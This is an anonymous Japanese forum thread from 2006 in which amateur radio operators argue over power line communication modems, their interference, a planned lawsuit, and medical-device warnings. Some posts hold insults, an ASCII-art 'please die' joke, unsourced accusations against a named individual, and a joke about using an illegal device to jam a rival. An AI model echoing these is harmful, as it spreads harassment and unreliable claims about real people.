363 :名無しさんから2ch各局…:2006/12/01(金) 00:52:23
アマ無線なんて趣味は禁止&廃止すべきに1票


364 :名無しさんから2ch各局…:2006/12/01(金) 01:01:28
>>358
必死にググったが出てこなかった様子ですね

365 :名無しさんから2ch各局…:2006/12/01(金) 01:06:58
                | ̄``''- 、
                |      `゙''ー- 、  ________
                |    ,. -‐ ''´ ̄ ̄`ヽ、_        /
                |, - '´ ̄              `ヽ、     /
              /               `ヽ、ヽ   /
             _/                    ヽヽ/
           / / /   /  /  /            ヽハ
          く  / /!   |   〃 _/__ l|   | |   |  |  | | ||ヽ
           \l// / |  /|'´ ∧  ||   | |ー、||  |  | l | ヽ
            /ハ/ |  | ヽ/ ヽ | ヽ  | || /|ヽ/!  |/ | ヽ
            / |  ||ヽ { ,r===、   \| _!V |// //  .!   |
            | ||   |l |ヽ!'´ ̄`゙   ,  ==ミ、 /イ川  |─┘
            | ハ||  || | """ ┌---┐  `  / //  |
            V !ヽ ト! ヽ、    |     !    / //| /
               ヽ! \ハ` 、 ヽ、__ノ    ,.イ/ // | /
    ┌/)/)/)/)/)/)/)/)/)/)lー/ ` ー‐┬ '´ レ//l/ |/
    |(/(/(/(/(/(/(/(/(/(/│||      |\  〃
  r'´ ̄ヽ. おじいちゃんへ | | ト    /    \
  /  ̄`ア 黙っていたけど | | |  ⌒/     入
  〉  ̄二) ホントはとっても | | |  /     // ヽ
 〈!   ,. -'  キ モ イ の   | | ヽ∠-----', '´    ',
  | \| |  お願いだから    | |<二Z二 ̄  /     ',
  |   | |  早く氏んで      _r'---|  [ ``ヽ、      ',
  |   | |   孫よりw    >-、__    [    ヽ      !
  \.| l.              ヽ、      [     ヽ    |
    ヽ|              \    r'     ヽ、    |

366 :名無しさんから2ch各局…:2006/12/01(金) 01:10:40
>364
察してやれ
金の卵とおだてられて舞い上がっていた
今ではただの定年間近
学歴コンプレックスの中卒工員なんだからw


367 :名無しさんから2ch各局…:2006/12/01(金) 02:47:52
チョッとしたバカ祭りだったようだね。w

368 :名無しさんから2ch各局…:2006/12/01(金) 08:43:55
>>352
だいたいにして,卒業時に「文1です」という東大卒業生などいない。
その時点で大嘘だというのがばれている。

文1〜3,理1〜3というのは入学時の受験区分だから。

369 :名無しさんから2ch各局…:2006/12/01(金) 12:09:24
PLC製品ってイスラエルとかポルトガルとか、へんてこな国のが多い気がするが?
これは、外交的な手段なのか?


370 :名無しさんから2ch各局…:2006/12/01(金) 12:24:37
とうとうノイズが出ないことが確認されてしまったので
反対派のノイズの海になるってのが幻になったなあ。
Wavelet OFDM方式って完全に特定周波数を飛ばせる技術なんだね。
実証で-35dbとは凄いね。


371 :名無しさんから2ch各局…:2006/12/01(金) 15:25:42
名古屋大学も実験に着手だそうだけど結果は出たのか?

372 :名無しさんから2ch各局…:2006/12/01(金) 15:25:57
>>370
へぇ。

2-30MHz全部にノッチが入ったのですか?

それはスゴイ!

373 :名無しさんから2ch各局…:2006/12/01(金) 15:31:49
ノッチはハムバンド、短波放送のところだそうですよ。


374 :名無しさんから2ch各局…:2006/12/01(金) 15:36:05
どの短波放送なんだ? ラジオ NIKKEI だけなんだろ?
馬鹿にしているよな。



375 :名無しさんから2ch各局…:2006/12/01(金) 15:47:05
推進派の姑息な宣伝活動はまだまだ続く…。

PLCマンセーのスレでやればいいのに。

376 :名無しさんから2ch各局…:2006/12/01(金) 15:56:26
JARLの研究所所長がわざわざやってきて説明していた。
ノイズはアマバンド内であれば実害は無いそうだ。
既に実験をやったらしいので一応は信用することにしたが、
誰か反対派でやった人はいるのかよ。
口ばっかりじゃなく頭を使って一日も早く入手しろって。


377 :名無しさんから2ch各局…:2006/12/01(金) 15:58:37
中国製のtamurea BPLっていうのは出力12Wだそうだぜ。
DXまで飛んでいくらしいぞ。


378 :名無しさんから2ch各局…:2006/12/01(金) 15:59:51
ノイズ出てる?
俺んとこ東京なんだけどいつもとかわんね

379 :名無しさんから2ch各局…:2006/12/01(金) 16:00:16
到達距離3マイルデ30MBPSだってさ<ぷ

380 :名無しさんから2ch各局…:2006/12/01(金) 16:02:47
>>377
そういうのが、安く出回るんだろうな、安くて遠くまで確実だって事で。
これは電波法違反になるのかな?

381 :名無しさんから2ch各局…:2006/12/01(金) 16:03:01
【JARL忘年会のお知らせ】
 JARLでは会員の皆様の親睦を深めるため、次のとおり平成18年の忘年会を開催します。

日時 平成18年12月6日(水)18:30〜
場所 青山ダイヤモンドホール(東京都港区北青山3-6-8)
 地下鉄銀座線、半蔵門線、千代田線の表参道駅B-5出口直結
会費 1人10,000円
 会員の皆様のご参加をお待ちしています。申込方法などの詳細は、JARL庶務課までお問い合わせください。

382 :名無しさんから2ch各局… :2006/12/01(金) 16:45:07
>>377
そこまで出すとさすがに同じラインから電源とってる家電機器に影響でるだろ。

impressで「逆にアダプタが他の機器へ影響を与える可能性も記載されており、短波ラジオや
調光機能付照明器具、HD-PLC以外のPLC製品、ワイヤレスマウスなど無線機器がこれに
当たる。影響が発生した場合、アダプタのコンセントを別に差し替える、短波ラジオの場合は
アダプタの使用場所を壁から遠ざける、短波ラジオの周波数を変更するといった対策が紹介
されている。」だと。放送局に周波数変えてくれってか。

ttp://bb.watch.impress.co.jp/cda/special/16373.html

383 :名無しさんから2ch各局…:2006/12/01(金) 19:15:46
どうでもいいわ
腐りきった松下の体質が明るみに出ただけで十分

384 :名無しさんから2ch各局…:2006/12/01(金) 19:30:09
そのうち中国あたりから、逆Lアンテナを取り付ける
ハイパワPLCがでるかもね
これを使えば、無線PLCで遠距離LANが出来たり
して

385 :名無しさんから2ch各局…:2006/12/01(金) 19:43:26
もう売られてるよ。買わないけどね。

386 :名無しさんから2ch各局…:2006/12/01(金) 19:49:59
訴訟なんかもう意味無いよ。

387 :名無しさんから2ch各局…:2006/12/01(金) 22:08:22
>>386
どういう騒ぎになるか楽しみだ

388 :名無しさんから2ch各局…:2006/12/01(金) 23:28:26
>>384
それいい、無線有線兼用LAN。
ライトユーザーの一般家庭なら、LANケーブルなんていらなくなるね

389 :名無しさんから2ch各局…:2006/12/02(土) 00:26:27
>>376
でも医療機器への影響有り,ということだ。
松下のOEMでHD-PLCを販売するアイ・オー・データ機器は認めている。

自己中,アマチュア無線,か。

390 :名無しさんから2ch各局…:2006/12/02(土) 00:33:41
アマバンドで影響無ければ構わないという態度は
たしかに自己中だな

391 :名無しさんから2ch各局…:2006/12/02(土) 01:02:55
100BASE-TXの有線LANの場合で55.8Mbps、最大54Mbpsの無線LAN(IEEE802.11g)の場合は8.6Mbps。
今回の実験環境では、PLCの実力は有線LANには及ばず、無線LANに限りなく近いレベル。ただ、最新式
のMIMO技術を活用した無線LANであれば、実効速度はPLCを大きくしのぐ可能性が高い。

 PLCアダプター2台の価格は約2万円。PLCは速くてオトクとみるか、それとも遅くて魅力がないとみるか……。
2万円も出して、旧来の無線 LANと速度が変わらないなら、パソコンからインターネット接続するために導入
するのは、少々高いと個人的には感じる。おまけに、携帯電話の充電器を挿しただけで速度が大幅に落ち
込んでしまう不安定な環境に、不安を感じる。

392 :名無しさんから2ch各局…:2006/12/02(土) 01:23:37
>>382
>>アダプタの使用場所を壁から遠ざける、短波ラジオの周波数を変更するといった対策が紹介 
>>されている。」だと。放送局に周波数変えてくれってか。
短波放送と言うものは、同時に複数の周波数で放送されているのを知らない厨房か?


393 :名無しさんから2ch各局…:2006/12/02(土) 01:49:45
>>392
なにいってんだか。
周波数がたくさんあるのは
不感地帯などを最小にしたいからで、
妨害を避けるためではない。

知ったかぶりは恥ずかしいからやめろ。

394 :名無しさんから2ch各局… :2006/12/02(土) 03:13:41
しかし、中国って国は辺境ではまだ結構短波放送を国内放送に活用している筈だが、そんな国で雑なPLC
使うと隣近所の衆から袋だたきにあうんじゃね?まあ、余計なお世話だろうが。

395 :名無しさんから2ch各局…:2006/12/02(土) 03:46:33
松下のモデム弄ってデータ取ってみた。

が、結果とか考察投下しようと思ったけど、推進派の犬扱いで
叩かれるのがオチっぽいんで投下やめ。

396 :名無しさんから2ch各局…:2006/12/02(土) 06:58:15
レポートが出てきたけどそんな騒ぐようなノイズではないというのが結果
みたいだね。これで一安心したよ。自宅で使わない限り問題はなさそうだし。
俺も発売されたら買ってみようと思うんだけど。これっていけないこと?



397 :名無しさんから2ch各局…:2006/12/02(土) 06:59:23
松下のなら全然問題ないんだろ
問題はこれから溢れるであろう違法中国機
だから、訴訟など何の意味もない

398 :名無しさんから2ch各局…:2006/12/02(土) 07:33:11
中国製はそもそも違法なんだから訴訟の対象外だしなあ。
ところで行政訴訟するようだけどこれだけなら反訴されないけど
やりすぎると松下から営業妨害とか名誉毀損で訴えられるよ。
106人衆にその覚悟はあるのかな。

399 :名無しさんから2ch各局…:2006/12/02(土) 07:37:26
>>394
中国は国内ではPLCなど当分普及せんだろ
狙いは日本その他への輸出だから
どんなダーティなものでも気にしない
人の家にゴミを捨てるようなもの

400 :名無しさんから2ch各局…:2006/12/02(土) 07:38:54
日本橋で売ってるのを買ってきてみよう。


401 :名無しさんから2ch各局…:2006/12/02(土) 07:41:06
松下はその設計内容や製品にかなりの誠意をもって
対応しているのに、アマチュア側だけが思い込みが強く、
かたくなに何が何でも反対する姿勢に見える
これでは世論はついてこないだろう
訴訟は逆効果の可能性が高いね

402 :名無しさんから2ch各局…:2006/12/02(土) 07:50:51
今回の訴訟は、朝日新聞を信奉する自称インテリや
天皇皇后を侮辱した劇を演じた、永六介・佐高信などの
文化人気取りの連中と同じような浅薄さを感じる

403 :名無しさんから2ch各局…:2006/12/02(土) 07:56:52
自分では近所の家々に電磁波による妨害を出しまくり
ながら、一方ではわずかなノイズを出すPLCに対し
訴訟を起こすというのはあまりにも自己中心的としか思えない

404 :名無しさんから2ch各局…:2006/12/02(土) 08:17:58
押さえ込み圧力の継続は必要。mだけが開発・販売企業ではない。
悪用しようとする連中は「ごまん」と要ることを忘れるな。


405 :名無しさんから2ch各局…:2006/12/02(土) 08:23:38
まあ、自分の家では犬の鳴き声やピアノの音が大きく
近所に迷惑をかけていながら、隣家にちょっと落ち度が
あると、ヒステリックに責めたてるババアみたいなもんかな

406 :名無しさんから2ch各局…:2006/12/02(土) 08:33:27
>>404
しかし一方、裁判時の証拠は松下のPLCモデムなどが
採用されるだろう
そこで、PLCのノイズレベルの低さを証明できれば、いったい
アマチュア連中は何でこんなに良く作りこまれた技術を頭ごなし
に否定するのかという世論に変わっていくだろう
これこそPLC推進の思うつぼ
一度確かなお墨付きがつけばそれがその後も通用してしまう
だから、その後、粗悪品が出まわってももうあとの祭り
今回の訴訟に対して、初期PLCは徹底的にノイズ対策を
打ってくるから逆宣伝の結果となる
つまり、この訴訟は実はPLC推進を利する効果を持っている

407 :名無しさんから2ch各局…:2006/12/02(土) 09:03:56
あちこちでノイズが出ないなんて言われてきたら訴訟も勢いがなくなるよ。
今でも内部であの弁護士が左翼社会党系だってもめてるくらいなんだからさ。
今回問題にしてるんだって朝日と社会党だろ。これもあのお騒がせ青山教授
が仕組んでやったのは見えみえだもんなあ。

408 :名無しさんから2ch各局…:2006/12/02(土) 09:05:36
面白いのはJARLさんが向こうの参考人として出てくるところだよな。これって笑えるよね。


409 :名無しさんから2ch各局…:2006/12/02(土) 09:06:53
森研究所長がきっぱりとノイズの問題は出ないと言い切ったんだからさ。


410 :名無しさんから2ch各局…:2006/12/02(土) 09:07:52
シナのモデムは違法なんですか、
んじゃ近所の違法PLCは総通に言えば対応してもらえるのかな
そんなことないだろうが

411 :名無しさんから2ch各局…:2006/12/02(土) 09:50:58
無線家のふりした社畜がたくさん書いているそうです。


412 :名無しさんから2ch各局…:2006/12/02(土) 09:53:07
>>411
またこれだ。みんなあんたと同じアマチュアだよ。ただし社会常識はある人たちだよ。


413 :名無しさんから2ch各局…:2006/12/02(土) 09:53:46
相手を全部否定するところはさすが左翼だ。


414 :名無しさんから2ch各局…:2006/12/02(土) 10:05:34
>>409
短波帯全部についてか?

アマチュアバンドには35−40dBのノッチを入れたから,さすがに,問題視されるほどの
雑音は出ないだろうが。

短波帯全部がアマチュア無線のものなのではないことを知らない厨房多すぎ

415 :名無しさんから2ch各局…:2006/12/02(土) 10:09:35
それにしても朝も早くから,松下社員(?)が休日返上で書き込んでいる
(もしかしたら休日出勤命令?)のはお気の毒としか言いようがない。

http://hfplc.jpn.org/index.php?itemid=483
厚生労働省「PLC機器の運用に伴う医療機器への影響は否定できない」、都道府県等に通知

これは,痛い。アマチュア無線がどうのこうのといったレベルではない。遙かに痛い問題。
しかも,パナのOEMを販売しようとしているアイ・オー・データ機器は,医療機器への影響があることを
認めた。つまり,パナ製品も医療機器への影響有りということ。

これは     痛い。

416 :名無しさんから2ch各局…:2006/12/02(土) 11:34:57
病院内ではPLCの電源をお切りください!!ww

417 :名無しさんから2ch各局…:2006/12/02(土) 11:38:36
>>414
>>415
本当にしつこいな。あんたにとってのPLCはライフワークか知らないがいい加減
静かにしたらどうだ。
俺たちはアマチュアバンドだけクリアなら文句は言わないよ。どうせあんたらは
アマチュアだけでは世間が認めないから他の短波を引き合いに出すがいったいど
れくらいの国民が実害にあうというんだね。
ついには医療機器問題を持ち込んでくるがたったの10mW程度それも高周波障害が
起きる場合は特定周波数だけなのにこれだけスパンさせたらレベルはもう問題に
なるレベルではないことも計算できないのかよ。ACを伝って医療器の電源回路を
通って本体の電子機器に到達するレベルを算出してみろ。
もしこの程度で誤動作するのだったら雷によって発生する雑音のほうが遥かに
高いんだぞ。その程度で誤動作する医療器などEMI対策されておらん不良品だ。
VCCIの規定くらい君も勉強したんだろ。
厚生労働省自体数値も持っていないだろうし実験もやっていないでただ予防措
置で出しただけのもの。
PLCに反対するのもいいが今まで反対派が何一つ実証データを示せないというだ
らしなさでは相手にもされないぞ。もう松下だけじゃなくアイオーデータも試供
品をソフトハウスや通信機メーカーに配ってるんだから入手はできるだろうに。
出来ないのだったらネットワーク不足というか貧弱な組織だということだよ。

418 :名無しさんから2ch各局…:2006/12/02(土) 11:42:01
推進派 社畜 必 死 だ なw

419 :名無しさんから2ch各局…:2006/12/02(土) 11:42:00
>415
お前、イタイ香具師だな
それともアマ無線家のふりしたデムパ天文屋?
虎の威をかる短波放送オタ?

420 :名無しさんから2ch各局…:2006/12/02(土) 11:45:29
>>415
ココは無線板
医療業界板にでも逝って下さい。

421 :名無しさんから2ch各局…:2006/12/02(土) 11:54:53
殆どの反対派によるネガティブキャンペーンはあの青山がやっているんです。
単なるアマチュアの中立的な視点で書いても総て松下などに関連づけるとは驚きます。
418などもしまともな免許人だったらシュミレーションしてみたらどうですか。
まさか医療現場でplcを積極的に使うはずも無いでしょう。
あるとしたらそれこそ医療機器との通信に使うでしょう。フクダ電子さんの研究
室にはアマチュアが沢山いるから既に実験もやっているでしょう。

422 :名無しさんから2ch各局…:2006/12/02(土) 11:57:03
関西での実験でもノイズが出ないって言ってるのにまだ騒ぐんですか。
青山だか草野だか知りませんけれど余りにも幼稚すぎませんかね。

423 :名無しさんから2ch各局…:2006/12/02(土) 12:02:11
近所のパソコン屋で早速PLCモデム(親/子機)予約しますた
9日納品予定
3Fに引いたブロードバンドと1Fリビング、無線LANでつながり難いから
PLC使ってみるyo

424 :名無しさんから2ch各局…:2006/12/02(土) 12:09:27
ネットや無線関係の情報から問題なさそうなので出たら買いますよ。
今の無線LANあまり調子よくないし。

425 :名無しさんから2ch各局…:2006/12/02(土) 12:14:04
反対して書いてるのはせいぜい2人です。
文体からわかりますね。


426 :名無しさんから2ch各局…:2006/12/02(土) 13:02:03
M下PLC量販店のチラシに載ってるぞ?
訴訟はどうなッとるんだ?金集めて終わりかよ?
販売前に起こすんじゃなかったのか?

427 :名無しさんから2ch各局…:2006/12/02(土) 13:10:27
>>417
医療機器への影響有りと結論したのは厚生労働省。


いいかい,厚生労働省なんだよ。

仕方なく,パナのOEMを販売しようとしているアイ・オー・データ機器は,医療機器への影響があることを
認めた。つまり,パナ製品も医療機器への影響有りということを認めた。

>>471に書いたことを厚生労働省に持ち込んだのか?
門前払いでも食い,悔しくて2ちぇんねるで憂さ晴らしでもしているんだろ,社蓄くん?

428 :名無しさんから2ch各局…:2006/12/02(土) 13:12:24

12月某日 提訴日決定、同時に東京地裁司法クラブにて記者会見
11月18日 原告団集会開催されました。
11月14日 厚生労働省から総合通信局電波環境課へ依頼文書
11月9日 厚生労働省から各都道府県衛生主管部長への通知
11月11日 委任状締切り(必着)
11月 6日 原告団の方々に委任状(PDF)をお送りしました。
11月 5日 弁護士との最終打ち合わせを行いました。
11月 4日 原告団は106名となりました。



429 :名無しさんから2ch各局…:2006/12/02(土) 13:12:27
医療機器への影響の話になると,推進派,とてつもなく必死になるな (爆笑)

430 :名無しさんから2ch各局…:2006/12/02(土) 13:14:28
大騒ぎして今更ひっこみつかなくなっちまったな。松下に風説の流布で民事で訴えられるぞ。もお手遅れ・・

431 :名無しさんから2ch各局…:2006/12/02(土) 13:16:51
>>427
こういう人間は左翼。
どこに「影響あり」などと断定した書き方をしているんだよ。
まだ市販されていないし厚生労働省で検証もしないで「影響あり」なんて書いたら
それこそ営業妨害になるぞ。
あんたの言っていることは自分達のいいように解釈するだけであって公正中立で見
る目がないんだよ。
そんな寝言ばかり言ってるからどんどん離れていくんだよ。
既に訴訟団内部でもめてるじゃないか。


432 :名無しさんから2ch各局…:2006/12/02(土) 13:29:01
>>429
本当に異常だね。別に俺は推進派でもないしな。ただ常識で書いているのにこれだもんなあ。反対派はもう気が狂ったも同然だな。

433 :名無しさんから2ch各局…:2006/12/02(土) 13:31:24
へえ、記者会見かよ。結局マスコミに取り上げて名前を売りたいだけでしょ。
朝日新聞とTV朝日だけしか来ないって。


434 :名無しさんから2ch各局…:2006/12/02(土) 13:36:55
医療機器への影響の話しを必死に持ち出す反対派の件 (爆笑)
反対派以外を全て”社蓄くん”と呼ぶ件 (大爆笑)
日本人の99.98%以上が社蓄かもよ?

435 :名無しさんから2ch各局…:2006/12/02(土) 13:52:17
噂ほどではないということだね。
大げさな奴には困るよな。


436 :名無しさんから2ch各局…:2006/12/02(土) 13:54:42
PLC反対派、松下の製品なんて使わない!とか言い出しそう

万に一つ、松下が安い価格で高性能なリグだしたら飛びつくんだろうけど

アマバンドに問題なければ、趣味人としてPLCに文句なんて付けられないな

病院関係者なら別の板でやるべきだとおもうよ

437 :名無しさんから2ch各局…:2006/12/02(土) 14:20:42
社蓄、社蓄って言ってるやつ、松下に個人的な恨みでもあるのか?リストラされたとか、入社試験で落とされたとか。
坊主憎けりゃ袈裟まで憎い状態だな。レス見てて不愉快になってくる。もっとレベルの高いレスしろよ。
そもそも反対派vs推進派とか反対派vs社蓄じゃねーだろw
反対派vs賛成派じゃないの?
おれはPLC関係者じゃなくて一般ピープルなんだけど社蓄になるのかね?w

438 :名無しさんから2ch各局…:2006/12/02(土) 14:52:04
>>431
医療機器への影響有りと結論したのは厚生労働省。 正確に言えば,影響を完全には否定できない,とある。

いいかい,厚生労働省なんだよ。
http://www.mahoroba.ne.jp/~narayaku/tsuchisyu/18tuchisyu/18tuuchiPDF/18102.pdf

仕方なく,パナのOEMを販売しようとしているアイ・オー・データ機器は,医療機器への影響があることを
認めた。つまり,パナ製品も医療機器への影響有りということを認めた。 認めたのはアイ・オー・データ機器
の判断だ。
http://www.iodata.jp/prod/network/plcadapter/2006/plc-etm/index.htm#05

>>471に書いたことを厚生労働省に持ち込んだのか?
門前払いでも食い,悔しくて2ちぇんねるで憂さ晴らしでもしているんだろ,社蓄くん?

レッテル貼り,おおいに結構!左翼でも右翼でもいいよ,屁でもない。


439 :名無しさんから2ch各局…:2006/12/02(土) 14:54:48
>>431
絶対に問題ないと言い切れるかどうか,「一般ピープル」に分かるのか?
PLCアダプタを医療機器が接続されている電力線網に接続して,医療機器にどれだけの伝導妨害波が
流入するか,誰も分からない。

影響がないと断言するのであれば,データを添えて厚生労働省に提出すればいいだけの話。
こんなところでレッテル貼りをしている時間があるのなら,厚労省に行ってこい。

440 :名無しさんから2ch各局…:2006/12/02(土) 14:56:02
で、厚生労働省が無線板と直接何の関係があるの?

441 :名無しさんから2ch各局…:2006/12/02(土) 15:19:53
おまえなあ、何だって人体や機器に全く影響が無いなんて言えないだろ。
ましてアマチュア無線の1kwが問題でなくてたったの10mWが問題だなんてばかばかしい理論だよ。
じゃあもし厚生労働省がアマチュア無線の電波が・・・なんて言ったらおまえどうするよ。
アマチュア無線の電波で近くの電線にどれだけエネルギーが伝わるか計算してごらん。
1にアンテナの不整合によるアンテナ以外への電波の漏れーシャックからACに流れるエネルギー
2にアンテナから輻射された電波が電力線に吸収されるもの。
PLCどころのエネルギーじゃねえぞ。
なんたって俺の家で3.5に出れば電球が点いちゃうぞ。そういう経験ならみんなあるだろうに。
ちょっと厚生労働省が根拠も無い警告を出したからっておまえ無線やってるなら検証くらいしてみろよ。
それでアマチュアのほうが遥かに高いエネルギーだったら厚生労働省にアマチュアの電波も危険だって
陳情しろよな。
おまえは多分あの青山弁護しなんだろ。元全共闘とか言われてるよう。


442 :名無しさんから2ch各局…:2006/12/02(土) 15:22:38
月曜日に厚労省の担当部署に電話してPLCよりもっと危険なのがアマチュア無線だから
こっちにも警告しろって言ってやる。

443 :名無しさんから2ch各局…:2006/12/02(土) 15:23:47
続きは他の板でおながいしまつ

444 :名無しさんから2ch各局…:2006/12/02(土) 15:29:12
反対するならもっと実データを積み重ねろよな。
何にも無いのに騒ぐからむなしいんだよ。


445 :名無しさんから2ch各局…:2006/12/02(土) 15:36:29
>398
行政訴訟は国が被告なのであって松下は被告にあらず

446 :名無しさんから2ch各局…:2006/12/02(土) 15:39:56
>>442
そうしてくれ。
こんなところで妄想している時間があるなら,厚労省に「PLCは医療機器に影響がありません」と
データを添えて見せてくれ。電話じゃデータを見せられないんだから,足を運べ。

説得できるデータがあるのなら,          な。

ところで,厚労省がどこにあるか知っているか?霞ヶ関に行ったこと,あるのか?
担当部署がどこなのか知っているか?

建物に入れてくれるといいね(爆笑)

447 :名無しさんから2ch各局…:2006/12/02(土) 15:41:06
反対派が最近沈黙しているのは
手の内を見せないようにするためだ。

とおれは良心的に解釈しているが。

448 :名無しさんから2ch各局…:2006/12/02(土) 15:41:12
パナのOEMを販売しようとしているアイ・オー・データ機器は,医療機器への影響があることを
認めた。つまり,パナ製品も医療機器への影響有りということを認めた。

認めたのはアイ・オー・データ機器 の判断。
http://www.iodata.jp/prod/network/plcadapter/2006/plc-etm/index.htm#05






















449 :名無しさんから2ch各局…:2006/12/02(土) 15:41:26
おまいバカだろ

450 :名無しさんから2ch各局…:2006/12/02(土) 16:11:30
反対を叫んでいるのはJG1R*ンだろ。
この人はこれが生甲斐なんだよね。


451 :名無しさんから2ch各局…:2006/12/02(土) 16:13:07
>>450
違う、書き方から青山だと思うぜ。

452 :名無しさんから2ch各局…:2006/12/02(土) 16:16:10
本製品の使用により、近傍の無線設備に継続的かつ重大な妨害が発生する時は、妨害を除去する必要な措置を命じられることがあります

453 :名無しさんから2ch各局…:2006/12/02(土) 16:23:01
中国製のを買ってライバルの家の近くに置こうかな。


454 :名無しさんから2ch各局…:2006/12/02(土) 16:25:55
>継続的かつ”重大”な妨害が発生する時は、妨害を除去する必要な措置を命じられる”ことが”あります
”重大”って防災・防犯関係などの通信が困難な状況のこと?趣味でやるアマ無線に影響が出たときは
どうなんの?しかも措置を命じられるのではなくて、命じられる”ことが”ある、って曖昧だな。


455 :名無しさんから2ch各局…:2006/12/02(土) 16:27:39
アマチュアは法律で守られているから問題が出たら医療機器が悪いことになる。
そんなことも知らないのかよ。


456 :名無しさんから2ch各局…:2006/12/02(土) 16:28:35
中国のは子機3台で29800だぜ。


457 :名無しさんから2ch各局…:2006/12/02(土) 16:30:18
性能は室内で65Mで300メートルで20M保証と宣伝してた。


458 :名無しさんから2ch各局…:2006/12/02(土) 16:32:32
たいしたノイズが出ないんだからいいじゃないか。国民が喜ぶんならね。
ここで反対を叫んでいるよりVU追っかけろよ。


459 :名無しさんから2ch各局…:2006/12/02(土) 16:37:38
ここに出てる青山ってファイブナインに隣を脅かしてビルの上に
アンテナを建てさせたという人でしょ。こっちのほうが遥かに
問題じゃないの。


460 :名無しさんから2ch各局…:2006/12/02(土) 16:38:52
そういえば隣に立ったマンソンのせいで無線環境が劣化したと因縁つけてマンソン屋上にアンテナ上げたやつがいたな
マンソンに住む住人はベランダにアンテナ上げることすらままならないのに。

461 :名無しさんから2ch各局…:2006/12/02(土) 16:39:48
思うことはみな同じねw

462 :名無しさんから2ch各局…:2006/12/02(土) 16:40:16
松下とかアイ・オー・データの注意書きで騒いでる連中は、
携帯電話の注意書きとか読んだ事あるのか?

463 :名無しさんから2ch各局…:2006/12/02(土) 16:41:50
http://homepage2.nifty.com/preserve_spectrum/index_j.html
これか。

464 :名無しさんから2ch各局…:2006/12/02(土) 16:43:42
どうしてそのような記述がアマ無線機にないのかは使用者が電波法を理解している
免許人だからさ。
まさか車に人をひき殺す可能性があるから注意しろなんて書いてないだろ。


465 :名無しさんから2ch各局…:2006/12/02(土) 16:56:20
弱い電磁波を発生するので、注意を要する場所、機器

磁石
磁石をペースメーカー本体の上に当てないこと。磁気ネックレスも同様。はなせば影響しなくなる。

携帯電話等
携帯電話は本体から22cm以上離して使用。ポータブル、車載型の場合はアンテナ部位と本体を30cm以上離す。

その他の無線(アマチュア無線、タクシー等の業務用無線など)では出力によりアンテナとの安全な距離のガイドラインがあるが、アンテナの指向性によってはより短い距離でも影響があるので注意。3ワットで約30cm、25ワットで約90cm、200ワットで約3m以内に近づかないこと。




466 :名無しさんから2ch各局…:2006/12/02(土) 16:57:28
http://www.pacemaker-navi.jp/life/warning.html

467 :名無しさんから2ch各局…:2006/12/02(土) 16:59:45
Q: 心臓ペースメーカーの手術を受けました。日常生活上の注意事項を教えて
ください。

A; ペースメーカーが植え込まれた方でも、ほかに病気がなければ日常生
活はほぼふつうにすごせます。ただし、ペースメーカーは電気や磁石に弱い
ため、いくらかの制限はあります。
家庭内では、低周波電気治療器は使えません。この治療器は肩こりや腰痛な
どで使われていますが、体に直接電気を流しますから、ペースメーカーの誤
動作等の原因になります。携帯電話は、ペースメーカー本体から約30センチ
メートル離せば、大丈夫と言われています。左胸にペースメーカーが入って
いる人は右手で携帯電話を持つようにしたら良いと思います。ただし、アマ
チュア無線で使うトランシーバーのなかには出力が大きいものもあるので注
意が必要と思われます。また一部の病院ではMRIという、非常に強い磁石を
使った診断装置がありますが、この機械による検査は受けられなくなります。




468 :名無しさんから2ch各局…:2006/12/02(土) 17:07:57
ほらほら
http://www.jhf.or.jp/q&adb/db3/1/1207i.html

469 :電波環境協議会:2006/12/02(土) 17:11:49
http://www.emcc-info.net/others/keitai.html
2 小型無線機(アマチュア無線機、パーソナル無線機及び
トランシーバ(特定小電力無線局(注4)のものを除く)等)の使用
これまでに収集した国内の実験データ等を検討した結果、小型無線機は携帯電話端末と比較して医用電n?気機器に影響を与える可能性が高いため、医療機関の屋内等及び医用電気機器の周辺には、緊急時・災害時を除き持ち込まないこと。


470 :cq出版:2006/12/02(土) 17:14:49
http://www.cqpub.co.jp/hanbai/books/20/20161.htm

471 :アマ無線で女の子:2006/12/02(土) 17:22:35
http://rotorua.at.infoseek.co.jp/keitai.html

472 :近隣住民への影響:2006/12/02(土) 17:25:42
http://bookweb.kinokuniya.co.jp/guest/cgi-bin/wshosea.cgi?W-NIPS=9978392750

473 :14ページ参照:2006/12/02(土) 17:32:23
http://www.shinetsu-bt.go.jp/sbt/kenkyu/pdf/innaihon.pdf

474 :名無しさんから2ch各局…:2006/12/02(土) 17:33:15
猛烈な反攻だね。こう見ると俺たちもある意味犯罪者だね。

475 :名無しさんから2ch各局…:2006/12/02(土) 17:36:00
LANカードにだって注意書きはあるぞ。別にPLCだけじゃなく汎用電子機器
はみな同じだぞ。お前の持ってるLANカードの説明書を読め。

http://www.ntt-west.co.jp/kiki/download/flets/gsf/WLCB54GSF_manual_r1.pdf

476 :名無しさんから2ch各局…:2006/12/02(土) 17:38:34
即ちPLC反対で騒ぐ連中はことさらPLCを特殊に扱おうとしているが
世の中にはもっと危険なものもあるし、電波を扱う製品を製造してる
企業はちゃんと認識しているということだ。
PLC、PLCと騒ぐならアマ無線も含んだ総てを問題にしろっていうんだ。


477 :名無しさんから2ch各局…:2006/12/02(土) 17:44:12
まだ続くのかい。松下のが問題なくなったら反対派は無差別攻撃
に転じたがPLCとアマ無線を比較したらこっちのほうが悪役だとい
うことを逆に証明しちゃったな。


478 :名無しさんから2ch各局…:2006/12/02(土) 17:45:32
俺はYAHOO-BBだからだめだけど誰か、
PLCとアマチュア無線のどっちが悪い?
というスレ立ててくれよ。

479 :名無しさんから2ch各局…:2006/12/02(土) 17:46:26
反撃キツーイ

480 :名無しさんから2ch各局…:2006/12/02(土) 17:50:06
アイオーデータの奴について社員に電話した。自宅で使わない限りことさら問題になるレベルじゃないってさ。
因みにその人皆も知ってるDXerよ。

481 :名無しさんから2ch各局…:2006/12/02(土) 17:51:32
訴訟団からの離脱が相次いでるらしいじゃないか。

482 :名無しさんから2ch各局…:2006/12/02(土) 17:54:00
なんとかOFDMっていう技術凄いね。


483 :名無しさんから2ch各局…:2006/12/02(土) 17:55:09
で、いまココには何人常駐してるんだ?



流れは速いが2人か、いても3人と予想w

484 :名無しさんから2ch各局…:2006/12/02(土) 18:01:26
反対派2人、その反対が3−4人だろ。
因みに俺は反対の反対派の一人。



485 :名無しさんから2ch各局…:2006/12/02(土) 18:03:07
常連はそのくらいかな。
でも反対派が政治的意図がある人間にリードされてなきゃ俺も応援したんだけどさ。
大嫌いな左翼だからなあ。


486 :名無しさんから2ch各局…:2006/12/02(土) 18:04:55
なんとかしてPLCを悪者にしようとするやり方が共産党風だよね。
もう少し公平な目でみなくちゃね。


